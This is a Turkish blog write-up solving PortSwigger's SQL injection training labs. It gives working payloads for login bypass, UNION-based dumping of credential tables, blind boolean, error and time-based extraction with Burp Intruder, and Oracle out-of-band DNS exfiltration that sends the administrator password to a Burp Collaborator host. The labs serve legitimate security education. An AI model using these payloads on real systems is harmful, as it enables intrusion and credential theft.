PORTSWIGGER WEB SECURITY - SQL INJECTION LAB ÇÖZÜMLERİ

4 months ago 21

PortSwigger Web Security, web güvenliği zafiyetlerini barındıran, Owasp top 10 zafiyetlerinin yer aldığı laboratuvarlardan oluşan bir web güvenliği platformudur. Web güvenliğinden bahsedildiğinde akla ilk gelenlerden biri SQL Injection zafiyetidir. SQL Injection zafiyeti, bir SQL veritabanından veri çekmeye, bu verileri değiştirmeye ve silmeye olanak tanımaktadır.

Bu çalışmada bahsedilen SQL Injection zafiyeti için tüm laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..

Kısaca web laboratuvarından bahsedecek olursak, zafiyetler hakkında bir ön bilgi ve zafiyetlerin adım adım nasıl çözüleceğine yönelik ipuçları verilmektedir. Bu bilgiler öncülüğünde Burp Suite aracını kullanarak laboratuvarların çözümlemesini yapıyor olacağız.

Lab 1: SQL injection vulnerability in WHERE clausze allowing retrieval of hidden data

Bu laboratuvarda, web sayfasındaki ilgili ürünlerin (e ticaret gibi düşünülebilir) ayrıntılarını veritabanından çekmeye çalışacağız. İlk olarak laba erişim sağlıyoruz.

Sayfa üzerinde belli başlı sekmeler var bunlardan Tech gifts (isteğe bağlı) başlıklı sekmeye bir istek gönderip bu isteği burp suite aracıyla inceleyelim.

Mevcut Ürün Sayısı : 3

İsteğin GET metoduyla ve category adlı bir parametre ile gönderildiği görülmektedir. Çalıştıracağımız sql sorgularını bu parametre üzerinden göndereceğiz. Bizler test ederken görmesek dahi arkada ne tür bir sql sorgusu çalışıyor az çok tahmin edilebilir. İstek gönderildiğinde arka planda çalışan sql sorgusu şu sekildedir:

SELECT * FROM products WHERE category = ‘Tech gifts’ AND released = 1

released = 1 komutu piyasaya sürülmeyen ürünleri gizlemek için kullanılmaktadır. Gizlenen bu ürünleri görüntülemek için bu komutu yorum satırına dönüştürelim.

category değerini Tech+gifts’+OR+1=1- - olarak değişirsek arka tarafta çalışacak sorgu şu sekilde olacaktır:

SELECT * FROM products WHERE category = ‘Tech gifts’ OR 1=1- -‘ AND released = 1

Çift çizgi (--) SQL’de bir yorum göstergesi ve sorgunun geri kalanının bir comment olarak yorumlanması anlamına gelmektedir. Yani çift çizgiden sonrası çalışmayacaktır.

Bu sorgu kategorisinin Tech gifts olduğu veya 1'in 1'e eşit (1=1)olduğu tüm öğeleri döndürecektir. İsteği bu şekilde gönderdiğimizde gizli olan verileri çekmiş olacağız.

İlk ekranda 3 adet ürün varken çalıştırdığımız bu sorgu ile başka ürünlerinde mevcut olduğunu görüyoruz.

Lab 2: SQL injection vulnerability allowing login bypass

Web sayfasında bir login sayfası olduğunu düşünelim. Girilecek username ve password bilgisi uyumlu ise oturum açabiliriz. Peki ya sadece username bilgisiyle login olabilirmiyiz?

Login panelinde arka planda çalıştırılan sorgu şu şekildedir:

SELECT * FROM users WHERE username=‘…………’ AND password=‘…………’

Elimizde administrator adında bir kullanıcı olduğunu düşünelim ve login sayfasında comment (- -) değerini kullanalım. Kullanıcı adını administrator’-- ve parolayı random bir değer girelim. Çalışacak sorgu şu şekilde olacaktır:

SELECT * FROM users WHERE username = ‘ administrator’- -‘ AND password=‘1’

Bu sorgu, kullanıcı adı administrator olan kullanıcıyı döndürür ve saldırgan başarıyla oturum açar.

Oturum açınca karşımıza çıkan bu e-mail güncelleme ekranı ile laboratuvarı çözmüş olacağız.

Lab 3: SQL injection UNION attack, determining the number of columns returned by the query

Web sayfasında sql injection zafiyeti tespit ettikten sonra veritabanındaki sütun sayısını öğrenmek isteyebiliriz. Sütun sayısını öğrenmek için order by yada union kullanarak saldırı gerçekleştirebiliriz. Bu laboratuvarda union saldırısı yapacağımız için kısaca union saldırısından bahsedelim. Sql sorgularında Union iki sorguyu birleştirmek için kullanılmaktadır. Arka planda çalışan sql sorgusuna union ile yeni bir sql sorgusu ekleyebiliriz. Union saldırısı yapabilmek için de iki sorgunun sütun sayılarının eşit olması gerekmektedir.

Corporate gifts adlı sayfaya bir istek atıp category parametresine ‘+UNION+SELECT+NULL- - komut satırını ekleyelim. Sütun sayısı 1 ise sonuç döndürecektir aksi takdirde internal server error hatası alacağız.

Hata aldık. Dolayısıyla sayfa bir sonuç döndürene kadar NULL ekleyelim. Eklediğimiz her NULL bir sütunu teşkil etmektedir aslında. Daha sonrasında NULL değerlerini sütun adlarıyla değiştireceğiz.

Bu şekilde forward ettiğimizde yine hata alacağız. Hata almayana dek NULL eklemeliyiz.

Üçüncü NULL değerini eklediğimizde hata almayacağız ve sütun sayısının 3 olduğunu öğrenmiş olacağız.

Congratulations, you solved the lab!

Lab 4: SQL injection UNION attack, finding a column containing text

Bir önceki aşamada sütun sayısını tespit etmiştik. Burada ise NULL değerlerine bir string tanımlayıp hangi sütunun veri barındırdığını tespit edelim.

Sayfa üzerinde string değeri ipucu olarak verilmiştir. ‘VcOg8l’ dizesini NULL değerlerine sırasıyla deneyelim.

Sırasıyla,

‘+UNION+SELECT+’VcOg8I’,NULL,NULL- -

‘+UNION+SELECT+NULL,’VcOg8I’,NULL- -

‘+UNION+SELECT+NULL,NULL, ’VcOg8I’- -

3 NULL değerini de forward edelim.

İkinci NULL değerine girdiğimiz string dizesinin sonuç döndürdüğünü görmekteyiz. İkinci sütun veri içermektedir.

Lab 5: SQL injection UNION attack, retrieving data from other tables

Bu laboratuvarda sütun sayısı farklıdır. Daha önceki yöntemle sütun sayısının 2 olduğu tespit edilebilir.

Sütun sayısı tespit edildikten sonra hangi sütunların veri barındırdığını öğrenmemiz gerekmektedir. Her iki sütunun da veri içerdiğini anlamak için random string değerleri girelim.

Her iki sütunda veri içermektedir. Peki bu sütunlar ne tür veriler içermektedir? Örneğin içerisinde kullanıcı adı veya password bilgileri var mı? Gerçek testlerde saldırgan tablo adlarını, sütun adlarını, veritabanı adlarını bilmiyor olabilir. Saldırganın bu saldırı için bir şekilde bu veritabanında en az 1 tablo adı bilmesi gerekmektedir. Bu veritabanının users adlı bir tablo içerdiği ipucu olarak verilmiştir. users adlı bu tablo username ve password bilgisi içeriyor mu? Öğrenelim.

‘+UNION+SELECT+username,password+FROM+users-- komut satırıyla iki sütun değerini username ve password olarak belirleyip users tablosundan bu bilgileri getirmesini talep ediyorum.

İsteği send ettiğimizde response olarak üç kullanıcı ve parola bilgisi elde etmiş olacağız. Herhangi bir tanesiyle login olabiliriz.

Lab 6: SQL injection UNION attack, retrieving multiple values in a single column

Bir önceki bölümde elde ettiğimiz bilgileri bu bölümde tek bir sütunda tespit edeceğiz. Tek sütunda birden çok değeri bir arada kolayca alabilmek için çift (||)karakterini kullanacağız. ‘~’ karakteri ise iki değeri ayırmak için kullanılmaktadır.

Sütun sayısı 2 olduğu için ilk değeri NULL, ikinci değeri ise username||’~’||password olarak verdiğimizde tablo bilgilerini tek sütunda tespit etmiş olacağız.

Laboratuvarın çözümü için herhangi bir kullanıcıyla login olabiliriz.

Lab 7: SQL injection attack, querying the database type and version on Oracle

Önceki laboratuvarlarda hangi sütunların veri barındırdığını öğrenmek için ‘+UNION+SELECT+’abc’,’def’- - komut satırını kullanmıştık. Fakat web sayfasın veritabanının tipi Oracle ise, çalıştıracağımız sql sorgusu farklılık göstermektedir.

Sayfada bizden tespit etmemiz gereken veritabanı bilgileri yer almaktadır. Bu bilgileri elde ettiğimizde labı çözmüş olacağız.

Yukarıda bahsedildiği gibi veritabanı tiplerine göre çalıştırılacak sql sorguları değişiklik gösterebilmektedir. Örneğin Oracle veritabanı için hangi sütun değerleri veri içeriyor ‘+UNION+SELECT+’abc’,’def’+FROM+dual- - komut satırını ekleyerek öğrenebiliriz. Fakat burada öğrenmemiz gereken veritabanı versiyon bilgisidir.

Veritabanı tiplerine göre version bilgileri ekranda ki gibi farklı sql parametreleriyle elde edilmektedir.

Oracle veritabanına ait versiyon bilgisi için, ‘+UNION+SELECT+BANNER,+NULL+FROM+v$version- - komut satırıyla sayfadan aldığımız response sonucunda öğrenebiliriz.

Lab 8: SQL injection attack, querying the database type and version on MySQL and Microsoft

Sql sorguları Oracle veritabanı için farklılık gösterdiği gibi MySQL ve Microsoft veritabanları içinde değişiklik göstermektedir. Daha önce comment için çift çizgi (--) kullanmıştık. MySQL ve Microsoft veritabanları için ‘#’ karakterini kullanıyor olacağız. Örneğin hangi sütun değerleri veri içeriyor ‘+UNION+SELECT+’abc’,’def’# komut satırını ekleyerek öğrenebiliriz.

Bir önceki laboratuvarda versiyon bilgisini tespit etmiştik. Burada da versiyon tespiti yapacağız fakat farklı bir sql sorgusuyla.

Versiyon bilgisini hangi sütunda çekmek istiyorsak o sütun adını @@version, diğerini de NULL girmeliyiz. Send ettiğimizde response üzerinden versiyon bilgisini öğrenebiliriz.

Lab 9: SQL injection attack, listing the database contents on non-Oracle databases

Bu bölümde veritabanı hakkında bilgi çekmemizi sağlayan information_schema( bilgi şeması) adı verilen yapıyı kullanacağız. information_schema yapısıyla sunucuda depolanan veritabanları ve nesneleri (tablolar, kısıtlamalar, prosedürler, görünümler…) ile ilgili ayrıntılara erişim sağlayabiliriz.

‘+UNION+SELECT+NULL,NULL- - sql sorgusunu category parametresine ekleyip forward ettiğimizde sorgunun iki adet sütun döndürdüğünü doğrulayabiliriz. Ardından information_schema.tables yapısıyla çekmek istediğimiz nesneyi belirtelim.

‘+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables- - komutuyla ilk sütuna table_name (tablo ismini) verelim ve isteğimizin cevabını inceleyelim. users_sgnkcl adında bir kullanıcı tablosu mevcut. Bu kullanıcı tablosunun sütun adlarını öğrenebiliriz.

‘+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name=’users_sgnkcl’-- şeklinde girdiğimiz bu komut satırıyla ilk sütunda column_name (sütun adlarını) göstermesini, information_schema.columns ile hangi nesneyi çekeceğimizi ve bunları bize daha önce tespit ettiğimiz ‘users_sgnkcl’ adlı tablodan getirmesini belirtiyoruz. Cevabında kullanıcı adlarını ve password bilgilerini barındıran iki sütun adı keşfetmiş olacağız.

Category parametresine, ‘+UNION+SELECT+username_vgrdcd,+password_cpmhok+FROM+ users_sgnkcl- - komut satırını ekleyerek users_sgnkcl adlı tablodan belirttiğimiz başlıklara ait kullanıcı adlarını ve parolalarını getirmesini istiyoruz. Cevabında bize döndüreceği kullanıcı adı ve parolalardan herhangi birisiyle login olabiliriz.

Lab 10: SQL injection attack, listing the database contents on Oracle

Bir önceki laboratuvarda yaptığımız işlemleri bu laboratuvarda Oracle veritabanı için yapacağız. Çalıştıracağımız sql sorguları bu açıdan değişiklik göstermektedir.

Öncesinde,‘+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables- - komut satırıyla tablo isimlerini öğrenmiştik. Bu bölümde ise category parametresine, ‘+UNION+SELECT+table_name,+NULL+FROM+all_tables- - komut satırını ekliyoruz ve send ediyoruz. Cevabında USERS_LRNUBZ adlı bir kullanıcı tablosunun mevcut olduğunu görmekteyiz.

‘+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name=USERS_LRNUBZ-- şeklinde girdiğimiz bu komut satırıyla ilk sütunda column_name (sütun adlarını) göstermesini, all_tab_columns ile bütün sütunları çekeceğimizi ve bunları bize daha önce tespit ettiğimiz ‘USERS_LRNUBZ’ adlı tablodan getirmesini belirtiyoruz. Cevabında kullanıcı adlarını ve password bilgilerini barındıran iki sütun adı keşfetmiş olacağız.

Parametremize, ‘+UNION+SELECT+USERNAME_EMJCRG,PASSWORD_ZDJCQX+FROM+USERS_LRNUBZ- - komut satırını ekleyerek USERS_LRNUBZ adlı tablodan belirttiğimiz başlıklara ait kullanıcı adlarını ve parolalarını getirmesini istiyoruz. Cevabında bize döndüreceği kullanıcı adı ve parolalardan herhangi birisiyle login olabiliriz.

NOT: Gönderilen istekler get metoduyla gönderilmekte ve url üzerinden parametreler gizlenmemektedir. URL üzerinden sorgular değiştirilerek de saldırılar yapılabilmektedir.

Lab 11: Blind SQL injection with conditional responses

Bu laboratuvarda uygulamaya yapılan isteği incelemek istediğimizde, aşağıdaki gibi TrackingId başlığı altında bir cookie bilgisinin yer aldığını görmekteyiz:

Cookie: TrackingId=PhuGRS3u5x5j06go

Arka planda çalışan sql sorgusu SELECT TrackingId FROM TrackedUsers WHERE TrackingId=’PhuGRS3u5x5j06go’ şeklindedir. Saldırgan arka planda çalışan sql sorgusunu göremez fakat isteği değiştirip sayfanın vereceği yanıta göre fikir sahibi olabilir ve saldırı gerçekleştirebilir.

Örneğin TrackingId parametresine ‘+and+1=1- - eklediğimizde çalışacak sorgu, SELECT TrackingId FROM TrackedUsers WHERE TrackingId=’ PhuGRS3u5x5j06go’ and 1=1- - ‘ şeklinde olacaktır ve sql sorgusunun iki tarafıda doğru olduğundan response da bir welcome back yazısı alacağız.

Parametremize ‘+and+1=2- - verdiğimizde welcome back yazısı alamayacağız. Sql sorgularımıza yanıt aldığımız için uygulamanın zafiyetli olduğunu doğrulamış bulunmaktayız.

Şimdi bir kullanıcı adına ve kullanıcı adını öğrenmek içinde tablo adına ihtiyacımız var. Önceki bölümlerde users adlı bir tablo ve administrator adlı bir kullanıcının olduğunu keşfetmiştik. Bu bölümde de tespit edelim.

Parametremize ‘AND (SELECT ‘a’ FROM users LIMIT 1)=’a ekleyerek kullanıcı adının ilk harfinin ‘a’ olduğunu ve aynı zamanda users adlı bir tablo olduğunu aldığımız welcome back yazısıyla doğruluyoruz.

Sorgumuzu değiştirerek administrator adlı bir kullanıcı olduğundan emin olalım. Bunun için sorgumuzu, TrackingId=’PhuGRS3u5x5j06go’ AND (SELECT ‘a’ FROM users WHERE username=’administrator’)=’a şeklinde değiştiriyoruz. İsteği gönderdikten sonra welcome back yazısı alacağız.

Laboratuvarın çözümü için login olmamız gerekmektedir. Bu yüzden administrator kullanıcısının parolasını öğrenmeliyiz. Bunun içinde parolanın karakter uzunluğunu bulmalıyız. Sorgumuzu TrackingId=’PhuGRS3u5x5j06go’ AND (SELECT ‘a’ FROM users WHERE username=’administrator’ AND LENGTH(password)>1)=’a şeklinde değiştirip administrator kullanıcısına ait parola uzunluğunun 1 den fazla olduğunu doğruluyoruz.

Karakter uzunluğunu öğrenmek için 1 değerini sürekli artıralım. Son olarak password>20 için denediğimizde welcome back yazısını almayacağız ve karakter uzunluğunu 20 olarak tespit etmiş olacağız.

20 adet karakterin hangi birine denk geldiğini bulmak için SUBSTRING fonksiyonunu kullanabiliriz. Parolanın ilk karakterini ‘a’ ya eşitleyip isteği gönderiyoruz. Welcome back yazısını almadık dolayısıyla ilk karakterimiz ‘a’ değildir. Bu işlemi teker teker denemek oldukça vakit alacağından isteği intrudera gönderelim.

İlk karakterimizi tespit etmek için Intruder sekmesinde a değerimizi $ tagları arasına alıp atak tipini Sniper olarak seçiyoruz.

Payload options bölümünden karakter listemizi tanımlıyoruz.

Grep - Match bölümünden ise sayfaya gönderilen istekler sonucu yanıt olarak welcome back yazısının olduğu sayfa dönüyorsa bunu belirtmesini istiyoruz. Sonrasında atağı başlatıyoruz.

İlk karakterimizin j olduğunu tespit ettikten sonra ikinci karakteri tespit edelim.

Sorgumuzu, ‘AND SELECT SUBSTRING(password,2,1) FROM users WHERE username=’administrator’)’a şeklinde değiştirip tekrardan aynı adımları izliyoruz.

Böylelikle ikinci karakterimizide (8) tespit etmiş olduk. 20 karakter sırasıyla bu şekilde tespit edilebilir fakat daha kolay bir yöntem deneyeceğiz.

Intruderda 2 ve a değerlerini $ tagları arasına alıp atak tipini Cluster bomb olarak belirliyoruz.

İlk payload setimizi Numbers olarak seçip 1’den 20’ye kadar 1er defa artırarak istek göndermesini belirtelim.

İkinci payload setimizi ise Brute forcer olarak seçip max ve min değerlerini 1 olarak belirleyelim.

Atağı başlattıktan sonra aracımız sırasıyla her indexe belirlediğimiz karakterleri deneyecektir. Ekranın sağ tarafında görüldüğü indexlere karşılık gelen karakterler için welcome back yazısı alıyoruz. Atak sonrası karakterleri sırasıyla yazdığımızda parolamız ‘frpixm0wn1qeqce8pqvf’ olmaktadır. administrator kullanıcısıyla parolamızı girip login olduktan sonra laboratuvarı çözmüş oluyoruz.

Lab 12: Blind SQL injection with conditional errors

Önceki örnekte çalıştırdığımız sql sorgularına sayfadan bir veri dönüyordu fakat bu laboratuvarda böyle bir şey söz konusu değildir. Sayfanın çalıştıracağımız sorgulara göre nasıl davrandığını gözlemleyeceğiz.

TrackingId parametresine tırnak işareti (‘) eklersek sayfadan yanıt olarak internal server error hatasını alacağız.

Çift tırnak (‘) eklersek hata almayacağız ve sayfa ürünleri listeleyecektir. Burdan anlıyoruz ki sayfa çift tırnağa true (HTTP/1.1 200 OK) yanıt döndürmektedir.

TrackingId paramtresine ‘||(SELECT ‘’)||’ komut satırını ekleyip sayfanın ne tür bir davranış göstereceğine bakalım. Eklediğimiz komut satırı ile arka planda çalışan sorgu şu şekilde olacaktır:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId=’ PhuGRS3u5x5j06go’ ||(SELECT ‘ ’)||’’

Veya (||) birleştirme operatörü , sütunları veya karakter dizilerini bağlamak için kullanılır. Burada iki select sorgusunu birleştirmiş olduk. Sorgunun ikinci dizesinde çift tırnak çalıştırılacaktır. Önceki denemede çift tırnağın true döndürdüğünü görmüştük fakat burada hata aldık. Bunun sebebi veritabanı tipinin Oracle olmasıdır.

Sql sorgusunu Oracle formatında düzenleyip isteği tekrar gönderdiğimizde hata almayacağız.

Var olmayan bir tablo adını sorgulatmayı denesek yine hata alacağız. Sayfanın çalıştırdığımız sorgulara verdiği yanıtlar gösteriyor ki burada sql sorgusu çalıştırabiliyoruz.

Kullandığımız Rownum komutu tabloda tutulan kayıtların satır numarasını bize vermektedir. ROWNUM=1 komut satırı ile ilk kaydı alabiliriz. Fakat burada önemli olan, tablo adı olarak ‘users’ kullandık. Sayfa true döndüğü için users adlı tablonun var olduğunu doğrulamış oluyoruz.

1 değerinin 0’a bölümü tanımsızdır. Sorguda kullanılması sayfanın hata vermesine neden olacaktır. Parametreye ‘||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM dual)||’ komut satırını ekleyip isteği send ettiğimizde response hata döndürecektir. Sorgumuz koşula bağlı bir sql sorgusudur. Koşulumuz sağlanmadığı takdirde sayfa ‘’ çift tırnak algılayıp true dönecektir fakat 1=1 olduğu için 1/0 baz alındı ve hata döndürdü.

Koşul ifademizi 1=2 şeklinde değiştirirsek sayfa ELSE tarafını yani çift tırnak (‘’) baz alacaktır ve true dönecektir.

Kullanıcı adının varlığını doğrulamak için sql sorgusunu ‘||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’)||’ şeklinde değiştiriyoruz. Çalıştırdığımız sql sorgusunda eğer administrator adında bir kullanıcı varsa sayfa 1/0 baz alacaktır ve ekranda ki gibi hata döndürecektir. Random bir kullanıcı adı girseydik sayfa true (HTTP/1.1 200 OK) yanıt verecekti.

Kullanıcı adını, koşula bağlı sorgumuzu 1=2 şeklinde değişerek aldığımız (HTTP/1.1 200 OK) yanıtı ile de doğrulayabiliriz.

Şu ana dek çalıştırdığımız sql sorgusunun mantığı eğer şartımız sağlanıyor ise sayfanın bize hata vermesini sağlamaktır. Görüldüğü üzere şartımız her doğru olduğunda 1/0 baz alınarak sayfanın hata vermesi üzerine ilerledik. Bundan sonrası için parola tespiti yapacağız. administrator kullanıcısına ait parolanın tespiti için önce karakter uzunluğunu bulmalıyız. Karakter uzunluğunun 1 den büyük olduğunu aldığımız hata ile doğruluyoruz.

Karakter uzunluğu, 1 değeri sürekli artırılarak bulunabilir fakat kolay olması için isteği intrudera gönderelim. 1 değerini $ tagları arasına alarak atak başlatalım.

1 den 50 ye kadar numaraları sırasıyla denemesini belirtiyoruz. 1 den 20 ye dek koşulumuz sağlandığı için 500 hata kodunu almaktayız. Koşulumuz password>değer olduğundan 20 üstü bir değer için sayfa true yanıt döndürecektir. Dolayısıyla parolanın karakter uzunluğu 20'dir.

İlk karakterimizin a olup olmadığını ‘||(SELECT CASE WHEN SUBSTR(password,1,1)=’a’ THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=’administrator’)||’ sorgusuyla doğruluyoruz. Hata almadığımız için ilk karakterimiz a değildir.

Intruderda 1 ve a değerlerini $ tagları arasına alıp atak tipini Cluster bomb seçiyoruz. Bir önceki laboratuvarda olduğu gibi ilk payload setimizi numbers ikincisini ise brute forcer olarak belirledikten sonra atağı başlatıyoruz.

Atak sonrası karakterleri sırasıyla yazdığımızda parolamız ‘m7rcsghy2tzau2n7ty8u’ olmaktadır. administrator kullanıcısıyla parolamızı girip login olduktan sonra laboratuvarı çözmüş oluyoruz.

Lab 13: Blind SQL injection with time delays

Bu laboratuvarda SQL sorgusunun sonuçları döndürülmediği gibi uygulama, sql sorgusunun bir hataya neden olmasına bağlı olarak farklı bir yanıt vermemektedir. Ancak sayfaya göndereceğimiz istek üzerindeki sorguyu değiştirerek sayfanın geç yanıt vermesini tetikleyebiliriz.

TrackingId parametresine ‘||pg_sleep(10)- - komut satırını ekleyerek sayfanın 10 saniye sonra yanıt döndürmesini sağlayabiliriz.

Sayfanın 10 saniyelik bir gecikmeye uğraması sonucu laboratuvarı çözmüş olacağız.

Lab 14: Blind SQL injection with time delays and information retrieval

Bir önceki laboratuvarda olduğu gibi burada da çalıştıracağımız sql sorguları koşula bağlı ve sayfanın geç cevap vermesine yönelik olacaktır. Çalıştırılacak koşulumuz doğru ise sayfanın belirlediğimiz süre miktarında geç yanıt vermesini sağlayacağız.

TrackingId parametresine, ‘%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END- - komut satırını ekleyerek isteği gönderiyoruz. Burada çalıştırdığımız komut ile 1=1 eşitliği sağlanıyorsa sayfanın 10 saniye geç cevap döndürmesini belirtiyoruz ve koşul doğru olduğu için sayfa 10 saniye geç yanıt döndürüyor.

Koşulumuz 1=2 eşitliği ile yanlış olduğunda sayfa anlık cevap verecektir.

Send ettiğimiz sql sorgusundaki koşula bağlı olarak sayfanın zamanlamaya bağlı cevap verdiğini görüyoruz. Kullanıcı ve tablo adının varlığını doğrulamak için sorgumuzu ‘%3BSELECT+CASE+WHEN+(username=’administrator’)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users- - şeklinde değiştirelim. users tablosu ve administrator kullanıcısı mevcut olduğundan sayfa 10 saniye geç cevap döndürdü.

Kullanıcı adına ait parolanın 3’den uzun olduğunu görmek için sorgumuzu ‘%3BSELECT+CASE+WHEN+(username=’administrator’+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users- - şeklinde değişip send ediyoruz ve aldığımız geç response ile doğruluyoruz.

İsteği intrudera gönderip 1 değerini $ tagları arasına alıyoruz.

Payload options bölümünden 1’den 50’ ye kadar değer vermesini belirtiyoruz ve atağı başlatıyoruz.

Atak ekranımızda columns bölümünden response received aktif ediyoruz. Sayfanın bize geç yanıt döndürdüğünü aldığımız response received değerlerinden anlayacağız. Sql sorgumuzda 10 saniyelik bir gecikme söz konusuydu. 10 saniye 10.000 milisaniye etmektedir. 10.000 üstü aldığımız değerler sayfanın koşulumuzu sağladığını göstermektedir. 20. karakterden itibaren milisaniye değerinin düşük olması ile karakter uzunluğunun 20 olduğunu tespit ettik.

Sorgumuzu, ‘%3BSELECT+CASE+WHEN+(username=’administrator’+AND+SUBSTRING(password,1,1)=’a’)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users- - şeklinde send ederek parolanın ilk karakterinin ‘a’ olmadığını sayfadan aldığımız anlık cevap ile doğruluyoruz.

İsteği intrudera gönderip daha önce yaptığımız gibi 1 ve a değerlerini $ tagları arasına alıp atak tipini Cluster bomb seçiyoruz. İlk payload setimizi numbers ikincisini ise brute forcer olarak belirledikten sonra atağı başlatıyoruz.

Atak sonrası response received değeri 10.000 üstünde cevap dönen karakterleri sırasıyla yazdığımızda parolamız ‘pksgsnhhni3adwirm8sv’ olmaktadır. administrator kullanıcısıyla parolamızı girip login olduktan sonra laboratuvarı çözmüş oluyoruz.

Lab 15: Blind SQL injection with out-of-band interaction

Şimdiye kadar kullandığımız tekniklerde uygulamanın yanıtına, sorgunun herhangi bir veri döndürüp döndürmediğine, bir veritabanı hatasının oluşup oluşmadığına veya sayfanın gecikme süresine bağlı olarak değerlendirme yaptık fakat bu laboratuvarda veritabanının harici bir domain adresine DNS araması yapmasını sağlayacağız.

DNS araması yapmak için kullanacağımız sql sorgusu veritabanı tiplerine göre değişiklik göstermektedir. Oracle veritabanı için, ‘+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d”1.0"+encoding%3d”UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+”http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/”>+%25remote%3b]>’),’/l’)+FROM+dual- - sorgusunu çalıştıracağız. Bu sorguda kullanacağımız xml kodu ile veritabanının belirttiğimiz domain adı için bir DNS araması yapmasını sağlamaktayız fakat öncesinde burpcollaborator sunucusundan bir subdomain almamız gerekmektedir.

Alıntı Ekran

Burp Suite aracında ki Burp Collaborator client bölümünden bir subdomain adresi kopyalıyoruz ve ardından sql sorgusunda (YOUR-COLLABORATOR-ID bölümüne) adresimizi ekliyoruz.

İsteği send ediyoruz.

Alıntı Ekran

İsteği send ettikten sonra Burp Collaborator client bölümünden yaptığımız DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. Laboratuvarın çözümü bu şekildedir.

Lab 16: Blind SQL injection with out-of-band data exfiltration

Önceki bölümde harici bir domain adresine DNS araması yapmıştık. Burada farklı olarak yapacağımız işlem, yaptığımız DNS araması sonucu bir kullanıcı adına ait parola bilgisini öğrenmek olacaktır.

Veritabanı tipi Oracle olduğu için çalıştıracağımız sql sorgusu ilk seçenek olacaktır fakat parola tespit edeceğimiz için bir kullanıcı adı ve tablo bilgisine ihtiyacımız vardır. Veritabanının users adlı bir tablo ve administrator adlı bir kullanıcı içerdiği bize ön bilgi olarak verilmektedir.

Alıntı Ekran

TrackingId parametremize, ‘+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d”1.0"+encoding%3d”UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+”http%3a//’||(SELECT+password+FROM+users+WHERE+username%3d’administrator’)||’.YOUR-COLLABORATOR-ID.burpcollaborator.net/”>+%25remote%3b]>’),’/l’)+FROM+dual- - şeklinde komut satırımızı ekliyoruz. Kullandığımız bu xml koduyla berabeer çalışacak sql sorgumuz administrator kullanıcısına ait parolayı öğrenmemizi sağlayacaktır. Bunun için Burp Collaborator client bölümünden bir subdomain adresi alıyoruz. Ardından adresimizi sql sorgusunda (YOUR-COLLABORATOR-ID bölümüne) ekliyoruz.

İsteği send ediyoruz.

Alıntı Ekran

İsteği send ettikten sonra yaptığımız DNS aramasını Poll now seçeneğine tıklayarak görebiliriz. Sızan veriler dahil olmak üzere herhangi bir DNS etkileşiminin ayrıntılarını almak için Collaborator sunucusunu yoklamamız gerekmektedir. DNS aramasının detayını incelediğimizde, ‘0fpkzao19uq428v3bbde.akyjt827n6zbq7z8zvtfg6bft6zwnl.burpcollaborator.net’ domain adının ilk başlığı administrator kullanıcısına ait parola bilgisidir. administrator kullanıcısıyla parolamızı girip login olduktan sonra son laboratuvarımızı çözmüş oluyoruz.

NOT : Burp Collaborator client bölümü Burp Suite aracının pro versiyonunda mevcuttur ve son iki laboratuvar free versiyonu ile yapılamamaktadır. Dolayısıyla son iki laboratuvardaki ekran görüntülerinde alıntı yapılmıştır.

Read Entire Article